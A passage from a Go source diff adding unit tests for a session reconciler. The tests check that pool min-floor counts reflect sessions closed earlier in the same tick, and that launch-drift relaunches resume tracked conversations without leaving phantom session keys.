+	// (the heal projects an alive session to awake, and the undesired orphan is
+	// drainable).
+	companion := env.createSessionBead(hname)
+	env.setSessionMetadata(&companion, map[string]string{
+		"state": string(sessionpkg.StateStartPending),
+	})
+	if err := env.sp.Start(context.Background(), hname, runtime.Config{Command: "true"}); err != nil {
+		t.Fatalf("start live companion: %v", err)
+	}
+
+	env.reconcileAtPath(t.TempDir(), []beads.Bead{companion})
+
+	// Read-after-write: the heal's state=awake batch folded onto the snapshot, so
+	// the pendingCreateSessionStillLeased guard sees awake (not start-requested) and
+	// the undesired live orphan is drained (drain-tracker entry). If the heal fold
+	// regresses (stale snapshot), the guard sees start-pending, treats the bead as a
+	// live pending-create, and keeps it open — no drain.
+	if env.dt.get(companion.ID) == nil {
+		t.Fatalf("orphan companion was not drained; the heal's state=awake must fold onto the snapshot so the pendingCreateSessionStillLeased guard does not keep a live start-pending orphan open — the heal fold did not reach infoPostHeal (stale snapshot at the heal refresh). stdout=%q", env.stdout.String())
+	}
+}
+
+// TestReconcileSessionBeads_MinFloorCountReflectsMidTickClose guards the
+// cross-session min-floor read: the progress-stall recycler exempts a stalled
+// pool worker when its pool is at its configured floor, and it measures the pool
+// via openPoolSessionCountForTemplate (session_reconciler.go ~2090), which reads
+// !Info.Closed off the infoByID snapshot. A pool worker CLOSED earlier in the
+// same tick must drop that open count so a stalled worker visited later is
+// exempt.
+//
+// Scenario: floor 1, max 2. A stale failed-create companion (no live runtime, no
+// assigned work) is first in the slice, so the reconciler closes it and refreshes
+// its snapshot Info BEFORE the stalled worker's min-floor decision runs. With the
+// companion closed the pool is at floor (open == 1 == min), so the stalled worker
+// must NOT be recycled. If the close's snapshot refresh regresses (the 6d hazard),
+// the count stays at 2 > floor and the stalled worker is wrongly recycled — the
+// assertions below catch that.
+//
+// This is the mid-tick-close integration test Step 4D deferred as "impractical —
+// topoOrder hides processing order"; single-template ordering makes it
+// deterministic.
+func TestReconcileSessionBeads_MinFloorCountReflectsMidTickClose(t *testing.T) {
+	env, session, sessionName := newProgressStallTestEnv(t)
+	env.cfg.Agents[0].MinActiveSessions = restartRequestTestIntPtr(1)
+	env.cfg.Agents[0].MaxActiveSessions = restartRequestTestIntPtr(2)
+
+	// A second worker, open at tick start (lifting open == 2 > floor 1), but a
+	// stale failed-create with no live runtime and no assigned work, so the
+	// reconciler closes it this tick. Placed FIRST so its close lands on the
+	// snapshot before the stalled worker's min-floor read.
+	closing := env.createSessionBead("worker-closing-companion")
+	env.setSessionMetadata(&closing, map[string]string{"state": string(sessionpkg.StateFailedCreate)})
+
+	env.reconcileAtPath(t.TempDir(), []beads.Bead{closing, session})
+
+	// Precondition: the companion actually closed this tick. If it did not, the
+	// count never dropped and the rest of the scenario proves nothing.
+	gotClosing, err := env.store.Get(closing.ID)
+	if err != nil {
+		t.Fatalf("store.Get(%s): %v", closing.ID, err)
+	}
+	if gotClosing.Status != "closed" {
+		t.Fatalf("companion status = %q, want closed — a failed-create worker with no live runtime must close mid-tick for this scenario to exercise the read-after-write", gotClosing.Status)
+	}
+
+	// The read-after-write assertion: after the same-tick close, open == 1 == floor,
+	// so the stalled worker is a min-floor idle worker and must be left running.
+	if !env.sp.IsRunning(sessionName) {
+		t.Fatalf("session %q was recycled; after the same-tick companion close the pool is at floor (open == 1 == min), so the stalled worker must be min-floor exempt — the min-floor count did not reflect the same-tick close (stale snapshot)", sessionName)
+	}
+	got, err := env.store.Get(session.ID)
+	if err != nil {
+		t.Fatalf("store.Get(%s): %v", session.ID, err)
+	}
+	if got.Metadata["restart_requested"] != "" {
+		t.Fatalf("restart_requested = %q, want empty — the stalled worker must be min-floor exempt after the same-tick close", got.Metadata["restart_requested"])
+	}
+	if strings.Contains(env.stderr.String(), "progress-stalled") {
+		t.Fatalf("stderr = %q, want no progress-stalled diagnostic for the exempt floor worker", env.stderr.String())
+	}
+}
+
+// TestReconcileSessionBeads_MinFloorCountReflectsMidTickCloseDrainAck is the
+// sibling of the store-only-close tests above for the DRAIN-ACK finalize close
+// path (reconcileDrainAckStopPending → finalizeDrainAckStoppedSession, site 1
+// ~1510). Unlike the failed-create/orphan store-only closes (MarkClosed only),
+// finalizeDrainAckStoppedSession's unassigned-close path mirrors a ClosePatch
+// onto the raw bead, so its write-returns-Info snapshot fold is
+// ApplyPatch(closePatch)+MarkClosed. This test guards that third close site the
+// same way — a companion closed earlier in the tick must drop the pool's open
+// count so a stalled worker visited later is min-floor exempt.
+//
+// Scenario: floor 1, max 2. A drain-ack-stop-pending companion (open, parked in
+// state=draining/reason=drain-ack-stop-pending, not in the desired set, no live
+// runtime) is first in the slice, so reconcileDrainAckStopPending finalizes and
+// closes it via the unassigned-close path and folds that close onto its snapshot
+// Info BEFORE the stalled worker's min-floor decision runs. With the companion
+// closed the pool is at floor (open == 1 == min), so the stalled worker must NOT
+// be recycled. If the drain-ack close's snapshot fold regresses (the 6d hazard),
+// the count stays at 2 > floor and the stalled worker is wrongly recycled.
+func TestReconcileSessionBeads_MinFloorCountReflectsMidTickCloseDrainAck(t *testing.T) {
+	env, session, sessionName := newProgressStallTestEnv(t)
+	env.cfg.Agents[0].MinActiveSessions = restartRequestTestIntPtr(1)
+	env.cfg.Agents[0].MaxActiveSessions = restartRequestTestIntPtr(2)
+
+	// A second worker, open at tick start (lifting open == 2 > floor 1), parked in
+	// drain-ack stop-pending state (state=draining, state_reason=drain-ack-stop-pending
+	// → isDrainAckStopPendingInfo true) with no live runtime and not in the desired
+	// set. reconcileDrainAckStopPending observes it not running and calls
+	// finalizeDrainAckStoppedSession with closeIfUnassigned=true (!desired), which
+	// closes it via the unassigned-close path (Path A, mirroring a ClosePatch), and
+	// the site folds that close onto the snapshot. Placed FIRST so its close lands
+	// on the snapshot before the stalled worker's min-floor read.
+	draining := env.createSessionBead("worker-drainack-companion")
+	env.setSessionMetadata(&draining, map[string]string{
+		"state":        string(sessionpkg.StateDraining),
+		"state_reason": sessionpkg.DrainAckStopPendingReason,
+	})
+
+	env.reconcileAtPath(t.TempDir(), []beads.Bead{draining, session})
+
+	// Precondition: the companion actually closed this tick via the drain-ack
+	// finalize path. If it did not, the count never dropped and the rest of the
+	// scenario proves nothing (and the teeth-check against the site-1 fold would be
+	// vacuous).
+	gotDraining, err := env.store.Get(draining.ID)
+	if err != nil {
+		t.Fatalf("store.Get(%s): %v", draining.ID, err)
+	}
+	if gotDraining.Status != "closed" {
+		t.Fatalf("drain-ack companion status = %q, want closed — a drain-ack-stop-pending worker with no live runtime and no assigned work must close mid-tick via finalizeDrainAckStoppedSession for this scenario to exercise the read-after-write", gotDraining.Status)
+	}
+
+	// The read-after-write assertion: after the same-tick drain-ack close, open ==
+	// 1 == floor, so the stalled worker is a min-floor idle worker and must be left
+	// running.
+	if !env.sp.IsRunning(sessionName) {
+		t.Fatalf("session %q was recycled; after the same-tick drain-ack close the pool is at floor (open == 1 == min), so the stalled worker must be min-floor exempt — the min-floor count did not reflect the same-tick close (stale snapshot)", sessionName)
+	}
+	got, err := env.store.Get(session.ID)
+	if err != nil {
+		t.Fatalf("store.Get(%s): %v", session.ID, err)
+	}
+	if got.Metadata["restart_requested"] != "" {
+		t.Fatalf("restart_requested = %q, want empty — the stalled worker must be min-floor exempt after the same-tick drain-ack close", got.Metadata["restart_requested"])
+	}
+	if strings.Contains(env.stderr.String(), "progress-stalled") {
+		t.Fatalf("stderr = %q, want no progress-stalled diagnostic for the exempt floor worker", env.stderr.String())
+	}
+}
+
+// TestReconcileSessionBeads_MinFloorCountReflectsMidTickCloseDrainAckOrphan is
+// the per-site guard for the SECOND drain-ack finalize call site
+// (session_reconciler.go ~1802, the post-heal "default" orphan drain-ack close),
+// distinct from the site-1 guard above (the drain-ack-stop-pending fast path).
+// This site is reached only when a controller drain-ack is set (dops.isDrainAcked)
+// for an undesired, not-running worker, which the site-1 fast path does not
+// intercept (its state is asleep, not draining/drain-ack-stop-pending). Its fold
+// (result.applyTo, ApplyPatch(ClosePatch)+MarkClosed on Path A) must drop the
+// closed companion from the pool open count exactly like site 1; without a
+// per-site read-after-write test a coherence regression here ships silently
+// (STEP6-DESIGN §8: the write oracle is blind to same-tick stale reads).
+//
+// Scenario: floor 1, max 2. A drain-acked orphan companion (asleep, not desired,
+// no live runtime, controller drain-ack set) is first in the slice, so the
+// reconciler heals it, takes the post-heal default drain-ack branch, and closes
+// it via finalizeDrainAckStoppedSession (closeIfUnassigned=true) BEFORE the
+// stalled worker's min-floor decision. With it closed the pool is at floor
+// (open == 1 == min), so the stalled worker must NOT be recycled.
+func TestReconcileSessionBeads_MinFloorCountReflectsMidTickCloseDrainAckOrphan(t *testing.T) {
+	env, session, sessionName := newProgressStallTestEnv(t)
+	env.cfg.Agents[0].MinActiveSessions = restartRequestTestIntPtr(1)
+	env.cfg.Agents[0].MaxActiveSessions = restartRequestTestIntPtr(2)
+
+	// A second worker, open at tick start (lifting open == 2 > floor 1). Asleep
+	// (default state) so the site-1 drain-ack-stop-pending fast path does NOT
+	// intercept it; not in the desired set and never started in the fake provider
+	// (so !providerAlive), with a controller drain-ack set so the post-heal default
+	// branch closes it via finalizeDrainAckStoppedSession this tick. Placed FIRST so
+	// its close lands on the snapshot before the stalled worker's min-floor read.
+	orphan := env.createSessionBead("worker-drainack-orphan-companion")
+	dops := newFakeDrainOps()
+	if err := dops.setDrainAck("worker-drainack-orphan-companion"); err != nil {
+		t.Fatalf("setDrainAck: %v", err)
+	}
+
+	env.reconcileAtPathWithDrainOps(t.TempDir(), []beads.Bead{orphan, session}, dops)
+
+	// Precondition: the companion actually closed this tick via the orphan
+	// drain-ack finalize path (site 2). If it did not, the count never dropped and
+	// the teeth-check against the ~1802 fold would be vacuous.
+	gotOrphan, err := env.store.Get(orphan.ID)
+	if err != nil {
+		t.Fatalf("store.Get(%s): %v", orphan.ID, err)
+	}
+	if gotOrphan.Status != "closed" {
+		t.Fatalf("drain-ack orphan status = %q, want closed — an undesired, not-running, drain-acked worker must close mid-tick via the post-heal drain-ack finalize (site 2) for this scenario to exercise the read-after-write", gotOrphan.Status)
+	}
+
+	// The read-after-write assertion: after the same-tick close, open == 1 ==
+	// floor, so the stalled worker is a min-floor idle worker and must be left
+	// running.
+	if !env.sp.IsRunning(sessionName) {
+		t.Fatalf("session %q was recycled; after the same-tick drain-ack orphan close the pool is at floor (open == 1 == min), so the stalled worker must be min-floor exempt — the min-floor count did not reflect the same-tick close (stale snapshot at site 2)", sessionName)
+	}
+	got, err := env.store.Get(session.ID)
+	if err != nil {
+		t.Fatalf("store.Get(%s): %v", session.ID, err)
+	}
+	if got.Metadata["restart_requested"] != "" {
+		t.Fatalf("restart_requested = %q, want empty — the stalled worker must be min-floor exempt after the same-tick site-2 close", got.Metadata["restart_requested"])
+	}
+	if strings.Contains(env.stderr.String(), "progress-stalled") {
+		t.Fatalf("stderr = %q, want no progress-stalled diagnostic for the exempt floor worker", env.stderr.String())
+	}
+}
+
+// TestReconcileSessionBeads_MinFloorCountReflectsMidTickCloseDrainAckReconciler
+// is the per-site guard for the THIRD drain-ack finalize call site
+// (session_reconciler.go ~2123, the post-zombie reconciler-owned drain-ack
+// close). Unlike site 2 (undesired orphan, inside the `if !desired` block), this
+// site is reached only by a DESIRED session that falls through to the common
+// post-zombie drain-ack block; its close gate is
+// closeIfUnassigned=isPoolManagedSessionBead. Its fold is the same
+// result.applyTo used at sites 1 and 2, so this test guards the site-3 call site
+// against a coherence regression the write oracle cannot see.
+//
+// Scenario: floor 1, max 2. A desired, pool-managed, drain-acked companion with
+// no live runtime and no assigned work is first in the slice, so the reconciler
+// closes it via finalizeDrainAckStoppedSession at site 3 BEFORE the stalled
+// worker's min-floor decision. With it closed the pool is at floor (open == 1 ==
+// min), so the stalled worker must NOT be recycled.
+func TestReconcileSessionBeads_MinFloorCountReflectsMidTickCloseDrainAckReconciler(t *testing.T) {
+	env, session, sessionName := newProgressStallTestEnv(t)
+	env.cfg.Agents[0].MinActiveSessions = restartRequestTestIntPtr(1)
+	env.cfg.Agents[0].MaxActiveSessions = restartRequestTestIntPtr(2)
+
+	// A second worker, open at tick start (lifting open == 2 > floor 1). Desired
+	// (so it skips the `if !desired` block that owns site 2 and falls through to
+	// the common post-zombie drain-ack block), pool-managed (so
+	// closeIfUnassigned=isPoolManagedSessionBead is true), never started in the
+	// fake provider (so !alive), with a controller drain-ack set and no assigned
+	// work, so finalizeDrainAckStoppedSession closes it via site 3 this tick.
+	// Placed FIRST so its close lands on the snapshot before the stalled worker's
+	// min-floor read.
+	const companionName = "worker-drainack-desired-companion"
+	companion := env.createSessionBead(companionName)
+	env.setSessionMetadata(&companion, map[string]string{
+		"state":        "active",
+		"pool_managed": "true",
+	})
+	env.desiredState[companionName] = TemplateParams{
+		Command:      "true",
+		SessionName:  companionName,
+		TemplateName: "worker",
+		ResolvedProvider: &config.ResolvedProvider{
+			Name:          "zai",
+			SessionIDFlag: "--session-id",
+		},
+	}
+	dops := newFakeDrainOps()
+	if err := dops.setDrainAck(companionName); err != nil {
+		t.Fatalf("setDrainAck: %v", err)
+	}
+
+	env.reconcileAtPathWithDrainOps(t.TempDir(), []beads.Bead{companion, session}, dops)
+
+	// Precondition: the companion actually closed this tick via the reconciler
+	// drain-ack finalize path (site 3). If it did not, the count never dropped and
+	// the teeth-check against the ~2123 fold would be vacuous.
+	gotCompanion, err := env.store.Get(companion.ID)
+	if err != nil {
+		t.Fatalf("store.Get(%s): %v", companion.ID, err)
+	}
+	if gotCompanion.Status != "closed" {
+		t.Fatalf("desired drain-ack companion status = %q, want closed — a desired, pool-managed, not-running, drain-acked worker with no assigned work must close mid-tick via the reconciler drain-ack finalize (site 3) for this scenario to exercise the read-after-write", gotCompanion.Status)
+	}
+
+	// The read-after-write assertion: after the same-tick close, open == 1 ==
+	// floor, so the stalled worker is a min-floor idle worker and must be left
+	// running.
+	if !env.sp.IsRunning(sessionName) {
+		t.Fatalf("session %q was recycled; after the same-tick site-3 close the pool is at floor (open == 1 == min), so the stalled worker must be min-floor exempt — the min-floor count did not reflect the same-tick close (stale snapshot at site 3)", sessionName)
+	}
+	got, err := env.store.Get(session.ID)
+	if err != nil {
+		t.Fatalf("store.Get(%s): %v", session.ID, err)
+	}
+	if got.Metadata["restart_requested"] != "" {
+		t.Fatalf("restart_requested = %q, want empty — the stalled worker must be min-floor exempt after the same-tick site-3 close", got.Metadata["restart_requested"])
+	}
+	if strings.Contains(env.stderr.String(), "progress-stalled") {
+		t.Fatalf("stderr = %q, want no progress-stalled diagnostic for the exempt floor worker", env.stderr.String())
+	}
+}
+
+// TestReconcileSessionBeads_MinFloorCountReflectsMidTickCloseOrphan is the
+// sibling of the failed-create test above for the ORPHAN close path
+// (session_reconciler.go ~1834): a not-desired, not-running pool worker that the
+// reconciler closes via closeSessionBeadIfReachableStoreUnassigned after heal.
+// Where the failed-create close runs pre-heal, the orphan close runs in the
+// post-heal switch default; its snapshot refresh must be byte-identical to the
+// heal-refreshed pre-close Info folded with MarkClosed. This test guards that
+// second store-only close site the same way — a companion closed earlier in the
+// tick must drop the pool's open count so a stalled worker visited later is
+// min-floor exempt.
+//
+// Scenario: floor 1, max 2. An orphan companion (open, asleep, not in the
+// desired set, no live runtime) is first in the slice, so the reconciler closes
+// it via the orphan path and refreshes its snapshot Info BEFORE the stalled
+// worker's min-floor decision runs. With the companion closed the pool is at
+// floor (open == 1 == min), so the stalled worker must NOT be recycled. If the
+// orphan close's snapshot refresh regresses (the 6d hazard), the count stays at
+// 2 > floor and the stalled worker is wrongly recycled.
+func TestReconcileSessionBeads_MinFloorCountReflectsMidTickCloseOrphan(t *testing.T) {
+	env, session, sessionName := newProgressStallTestEnv(t)
+	env.cfg.Agents[0].MinActiveSessions = restartRequestTestIntPtr(1)
+	env.cfg.Agents[0].MaxActiveSessions = restartRequestTestIntPtr(2)
+
+	// A second worker, open at tick start (lifting open == 2 > floor 1). It is an
+	// orphan: never added to desiredState and never started in the fake provider,
+	// with the default asleep state (not failed-create), so the reconciler heals
+	// it, then closes it via the not-desired/not-running orphan path this tick.
+	// Placed FIRST so its close lands on the snapshot before the stalled worker's
+	// min-floor read.
+	orphan := env.createSessionBead("worker-orphan-companion")
+
+	env.reconcileAtPath(t.TempDir(), []beads.Bead{orphan, session})
+
+	// Precondition: the orphan actually closed this tick via the orphan path. If
+	// it did not, the count never dropped and the rest of the scenario proves
+	// nothing (and the teeth-check against the ~1834 site would be vacuous).
+	gotOrphan, err := env.store.Get(orphan.ID)
+	if err != nil {
+		t.Fatalf("store.Get(%s): %v", orphan.ID, err)
+	}
+	if gotOrphan.Status != "closed" {
+		t.Fatalf("orphan status = %q, want closed — a not-desired asleep worker with no live runtime must close mid-tick via the orphan path for this scenario to exercise the read-after-write", gotOrphan.Status)
+	}
+
+	// The read-after-write assertion: after the same-tick orphan close, open == 1
+	// == floor, so the stalled worker is a min-floor idle worker and must be left
+	// running.
+	if !env.sp.IsRunning(sessionName) {
+		t.Fatalf("session %q was recycled; after the same-tick orphan close the pool is at floor (open == 1 == min), so the stalled worker must be min-floor exempt — the min-floor count did not reflect the same-tick close (stale snapshot)", sessionName)
+	}
+	got, err := env.store.Get(session.ID)
+	if err != nil {
+		t.Fatalf("store.Get(%s): %v", session.ID, err)
+	}
+	if got.Metadata["restart_requested"] != "" {
+		t.Fatalf("restart_requested = %q, want empty — the stalled worker must be min-floor exempt after the same-tick orphan close", got.Metadata["restart_requested"])
+	}
+	if strings.Contains(env.stderr.String(), "progress-stalled") {
+		t.Fatalf("stderr = %q, want no progress-stalled diagnostic for the exempt floor worker", env.stderr.String())
+	}
+}
diff --git a/cmd/gc/session_reconciler_relaunch_preparedstart_test.go b/cmd/gc/session_reconciler_relaunch_preparedstart_test.go
new file mode 100644
index 0000000000..e27aad621e
--- /dev/null
+++ b/cmd/gc/session_reconciler_relaunch_preparedstart_test.go
@@ -0,0 +1,295 @@
+package main
+
+import (
+	"context"
+	"fmt"
+	"strings"
+	"testing"
+
+	"github.com/gastownhall/gascity/internal/beads"
+	"github.com/gastownhall/gascity/internal/config"
+	"github.com/gastownhall/gascity/internal/runtime"
+)
+
+// setupLaunchDriftResumeEnv builds a reconciler env whose alive "worker" session
+// carries a session_key and a resume-capable provider, with a stored baseline
+// that differs from the desired config in the launch half only (Command). This
+// is the launch-only-drift shape that must relaunch the agent in the warm box
+// rather than fully restart it. Returns the env, the desired TemplateParams, and
+// the created session bead.
+func setupLaunchDriftResumeEnv(t *testing.T) (*reconcilerTestEnv, TemplateParams, beads.Bead) {
+	t.Helper()
+	env := newReconcilerTestEnv()
+	env.cfg = &config.City{Agents: []config.Agent{{Name: "worker"}}}
+	tp := TemplateParams{
+		Command:          "claude",
+		SessionName:      "worker",
+		TemplateName:     "worker",
+		InstanceName:     "worker",
+		Alias:            "worker",
+		Prompt:           "do the work",
+		ResolvedProvider: forkClaude(),
+	}
+	env.desiredState["worker"] = tp
+	if err := env.sp.Start(context.Background(), "worker", runtime.Config{Command: "claude"}); err != nil {
+		t.Fatalf("Start: %v", err)
+	}
+	session := env.createSessionBead("worker", "worker")
+	env.markSessionActive(&session)
+
+	// Desired (current) config and an old baseline that differs only in the
+	// launch half (Command) → provision hash matches, launch hash differs.
+	agentCfg := sessionCoreConfigForHash(tp, session)
+	oldCfg := agentCfg
+	oldCfg.Command = "stale-" + agentCfg.Command
+	env.setSessionMetadata(&session, map[string]string{
+		"session_key":            "warm-conversation",
+		"started_config_hash":    runtime.CoreFingerprint(oldCfg),
+		"started_provision_hash": runtime.ProvisionFingerprint(oldCfg),
+		"started_launch_hash":    runtime.LaunchFingerprint(oldCfg),
+		"started_live_hash":      runtime.LiveFingerprint(agentCfg),
+	})
+	return env, tp, session
+}
+
+// TestReconcileSessionBeads_LaunchDriftRelaunchResumesTrackedConversation is the
+// #3872 kill-shot: routing the drift-relaunch through buildPreparedStart means
+// the Config handed to Relaunch is the same executable config the fresh-start /
+// pending-create-recovery paths use. It resumes the tracked conversation
+// (Command carries --resume <session_key>) and does not re-send the full startup
+// prompt (PromptSuffix cleared, restart nudge + GC_STARTUP_PROMPT_DELIVERED set).
+// The previous hash-form config handed Relaunch a bare command that started an
+// untracked conversation and re-sent the prompt.
+func TestReconcileSessionBeads_LaunchDriftRelaunchResumesTrackedConversation(t *testing.T) {
+	env, tp, session := setupLaunchDriftResumeEnv(t)
+
+	env.reconcile([]beads.Bead{session})
+
+	if got := env.sp.CountCalls("Relaunch", "worker"); got != 1 {
+		t.Fatalf("Relaunch calls = %d, want 1 (launch-only drift must relaunch); stderr=%s", got, env.stderr.String())
+	}
+	rc := env.sp.LastRelaunchConfig("worker")
+	if rc == nil {
+		t.Fatal("no Relaunch config recorded")
+	}
+	// The relaunch resumes the durable conversation instead of starting an
+	// untracked one — this is exactly what a fresh resume-based wake would do.
+	const wantResume = "--resume warm-conversation"
+	if !strings.Contains(rc.Command, wantResume) {
+		t.Errorf("Relaunch Command = %q, want it to contain %q", rc.Command, wantResume)
+	}
+	// The full startup prompt is NOT re-delivered on relaunch.
+	if rc.PromptSuffix != "" {
+		t.Errorf("Relaunch PromptSuffix = %q, want empty (no double prompt)", rc.PromptSuffix)
+	}
+	if got := rc.Env[startupPromptDeliveredEnv]; got != "1" {
+		t.Errorf("Relaunch Env[%s] = %q, want %q", startupPromptDeliveredEnv, got, "1")
+	}
+	if want := restartPromptNudge(tp.Prompt, tp.Hints.Nudge); rc.Nudge != want {
+		t.Errorf("Relaunch Nudge = %q, want restart nudge %q", rc.Nudge, want)
+	}
+	// The runtime env the durable hash-form config lacked is present.
+	if got := rc.Env["GC_SESSION_ID"]; got == "" {
+		t.Errorf("Relaunch Env[GC_SESSION_ID] empty, want session-context env merged")
+	}
+}
+
+// TestReconcileSessionBeads_LaunchDriftRebaselineNoReDrift proves the rebaseline
+// uses buildPreparedStart's pre-rewrite fingerprints, so the very next tick's
+// drift comparison (which uses the hash-form sessionCoreConfigForHash) sees no
+// Core drift and does NOT relaunch again — no drift loop. Guards against the
+// class of bug where the executed config (carrying the --resume rewrite / env)
+// leaks into the persisted baseline and never matches the next comparison.
+func TestReconcileSessionBeads_LaunchDriftRebaselineNoReDrift(t *testing.T) {
+	env, tp, session := setupLaunchDriftResumeEnv(t)
+	preLive := session.Metadata["started_live_hash"]
+
+	// Tick 1: launch-only drift → relaunch + rebaseline.
+	env.reconcile([]beads.Bead{session})
+	if got := env.sp.CountCalls("Relaunch", "worker"); got != 1 {
+		t.Fatalf("tick 1 Relaunch calls = %d, want 1; stderr=%s", got, env.stderr.String())
+	}
+	b, _ := env.store.Get(session.ID)
+
+	// The rebaselined started_config_hash equals what the next tick's drift
+	// comparison recomputes for the unchanged config (invariant 1).
+	wantCore := runtime.CoreFingerprint(sessionCoreConfigForHash(tp, b))
+	if got := b.Metadata["started_config_hash"]; got != wantCore {
+		t.Errorf("started_config_hash = %q, want next-tick comparison hash %q", got, wantCore)
+	}
+	wantLaunch := runtime.LaunchFingerprint(sessionCoreConfigForHash(tp, b))
+	if got := b.Metadata["started_launch_hash"]; got != wantLaunch {
+		t.Errorf("started_launch_hash = %q, want %q", got, wantLaunch)
+	}
+	// The relaunch does not re-run SessionLive, so started_live_hash is untouched.
+	if got := b.Metadata["started_live_hash"]; got != preLive {
+		t.Errorf("started_live_hash = %q, want left unchanged %q", got, preLive)
+	}
+
+	// Tick 2: config is unchanged → no second relaunch, no drain, no re-drift.
+	env.reconcile([]beads.Bead{b})
+	if got := env.sp.CountCalls("Relaunch", "worker"); got != 1 {
+		t.Errorf("tick 2 Relaunch calls = %d, want still 1 (no re-drift loop); stderr=%s", got, env.stderr.String())
+	}
+	if ds := env.dt.get(session.ID); ds != nil {
+		t.Errorf("tick 2 expected no drain, got reason=%q", ds.reason)
+	}
+	b2, _ := env.store.Get(session.ID)
+	if got := b2.Metadata["started_config_hash"]; got != wantCore {
+		t.Errorf("tick 2 started_config_hash = %q, want stable %q", got, wantCore)
+	}
+}
+
+// TestRelaunchAgentForLaunchDrift_AbortClearsSpeculativeResumeKey is the #4038
+// correctness guard for the launch-drift relaunch fallback. When a launch-only
+// drift routes through buildPreparedStart on a bead that has a stored baseline
+// (started_config_hash) but no session_key, buildPreparedStart mints a fresh
+// session_key so it can build the relaunch command. Because started_config_hash
+// is set, firstStart is false and resolveSessionCommand builds
+// `--resume <minted-key>` for a conversation the relaunch has never created.
+//
+// Two invariants protect against that phantom key:
+//   - It must never be EXECUTED: the minted-speculative-key guard refuses the
+//     relaunch before Relaunch is called (even when the provider would report
+//     success), so a rebaseline can never persist the minted key.
+//   - It must never SURVIVE an abort: every fallback path (no-prior-key,
+//     anti-skew, prepare error, relaunch failure) clears the speculative key so
+//     resetConfiguredNamedSessionForConfigDrift's preserve-resume gate cannot see
+//     a non-empty session_key plus the stale baseline and --resume a conversation
+//     that never existed. A REAL prior key is left intact for the fallback to
+//     resume.
+//
+// This exercises relaunchAgentForLaunchDrift directly rather than a full
+// reconcile because the reconcile's start-pending fall-through restarts the
+// session in the same tick, which re-stamps the metadata and masks the transient
+// reset state the bug lives in. The fix is observable only at the fallback
+// boundary, before that restart.
+func TestRelaunchAgentForLaunchDrift_AbortClearsSpeculativeResumeKey(t *testing.T) {
+	// newDriftEnv builds a launch-only-drift ("Command" changed, provision half
+	// unchanged) worker session on a resume-capable provider. priorSessionKey is
+	// the bead's session_key before preparation ("" to model the phantom scenario
+	// where buildPreparedStart must mint one). When injectRelaunchErr is set the
+	// provider fails Relaunch, driving the relaunch-failure abort/fallback path.
+	// Returns the drift hashes the caller passes through.
+	newDriftEnv := func(t *testing.T, priorSessionKey string, injectRelaunchErr bool) (*reconcilerTestEnv, TemplateParams, beads.Bead, string, string, string, string) {
+		t.Helper()
+		env := newReconcilerTestEnv()
+		env.cfg = &config.City{Agents: []config.Agent{{Name: "worker"}}}
+		tp := TemplateParams{
+			Command:          "claude",
+			SessionName:      "worker",
+			TemplateName:     "worker",
+			InstanceName:     "worker",
+			Alias:            "worker",
+			Prompt:           "do the work",
+			ResolvedProvider: forkClaude(), // SessionIDFlag set → mints a key when none exists
+		}
+		env.desiredState["worker"] = tp
+		if err := env.sp.Start(context.Background(), "worker", runtime.Config{Command: "claude"}); err != nil {
+			t.Fatalf("Start: %v", err)
+		}
+		session := env.createSessionBead("worker", "worker")
+		env.markSessionActive(&session)
+		agentCfg := sessionCoreConfigForHash(tp, session)
+		oldCfg := agentCfg
+		oldCfg.Command = "stale-" + agentCfg.Command
+		md := map[string]string{
+			"started_config_hash":    runtime.CoreFingerprint(oldCfg),
+			"started_provision_hash": runtime.ProvisionFingerprint(oldCfg),
+			"started_launch_hash":    runtime.LaunchFingerprint(oldCfg),
+			"started_live_hash":      runtime.LiveFingerprint(agentCfg),
+		}
+		if priorSessionKey != "" {
+			md["session_key"] = priorSessionKey
+		}
+		env.setSessionMetadata(&session, md)
+		if injectRelaunchErr {
+			env.sp.RelaunchErrors["worker"] = fmt.Errorf("warm box vanished")
+		}
+		return env, tp, session,
+			runtime.CoreFingerprint(oldCfg), runtime.CoreFingerprint(agentCfg),
+			runtime.ProvisionFingerprint(oldCfg), runtime.LaunchFingerprint(oldCfg)
+	}
+
+	callRelaunch := func(env *reconcilerTestEnv, tp TemplateParams, session *beads.Bead, storedHash, currentHash, storedProvision, storedLaunch string) bool {
+		relaunched, _ := relaunchAgentForLaunchDrift(
+			context.Background(), env.sp, sessionFrontDoor(env.store), session, "worker",
+			tp, "", env.cfg, env.store, storedHash, currentHash, storedProvision, storedLaunch,
+			[]string{"Command"}, env.rec, nil, &env.stdout, &env.stderr,
+		)
+		return relaunched
+	}
+
+	// assertSpeculativeKeyCleared verifies the fallback wiped the minted key and
+	// the stale baseline on BOTH the raw bead and the store, so the downstream
+	// reset cannot preserve a phantom resume.
+	assertSpeculativeKeyCleared := func(t *testing.T, env *reconcilerTestEnv, session *beads.Bead) {
+		t.Helper()
+		if got := strings.TrimSpace(session.Metadata["session_key"]); got != "" {
+			t.Errorf("raw bead session_key = %q, want cleared (no phantom resume)", got)
+		}
+		if got := strings.TrimSpace(session.Metadata["started_config_hash"]); got != "" {
+			t.Errorf("raw bead started_config_hash = %q, want cleared (fresh restart)", got)
+		}
+		b, _ := env.store.Get(session.ID)
+		if got := strings.TrimSpace(b.Metadata["session_key"]); got != "" {
+			t.Errorf("stored session_key = %q, want cleared (no phantom resume)", got)
+		}
+		if got := strings.TrimSpace(b.Metadata["started_config_hash"]); got != "" {
+			t.Errorf("stored started_config_hash = %q, want cleared (fresh restart)", got)
+		}
+	}
+
+	// Major #4038 guard: a no-prior-key launch-drift relaunch must NOT execute
+	// `--resume <minted-key>` even when the provider would succeed. A successful
+	// relaunch would rebaseline and persist the speculative key, tying future
+	// starts to a conversation that was never created. The relaunch is refused
+	// before Relaunch is called and the speculative key is cleared for the full
+	// restart. No relaunch error is injected: the provider WOULD succeed, so this
+	// proves the guard, not a failing relaunch, prevents the phantom.
+	t.Run("no prior key is refused before relaunch on the success path", func(t *testing.T) {
+		env, tp, session, storedHash, currentHash, storedProvision, storedLaunch := newDriftEnv(t, "", false)
+		if got := strings.TrimSpace(session.Metadata["session_key"]); got != "" {
+			t.Fatalf("precondition: session_key = %q, want empty", got)
+		}
+		if relaunched := callRelaunch(env, tp, &session, storedHash, currentHash, storedProvision, storedLaunch); relaunched {
+			t.Fatalf("relaunched = true, want false (no prior key → full restart); stderr=%s", env.stderr.String())
+		}
+		if got := env.sp.CountCalls("Relaunch", "worker"); got != 0 {
+			t.Errorf("Relaunch calls = %d, want 0 (must not --resume a speculative key); stderr=%s", got, env.stderr.String())
+		}
+		assertSpeculativeKeyCleared(t, env, &session)
+	})
+
+	// Non-gating coverage for the anti-skew fallback, which shares the
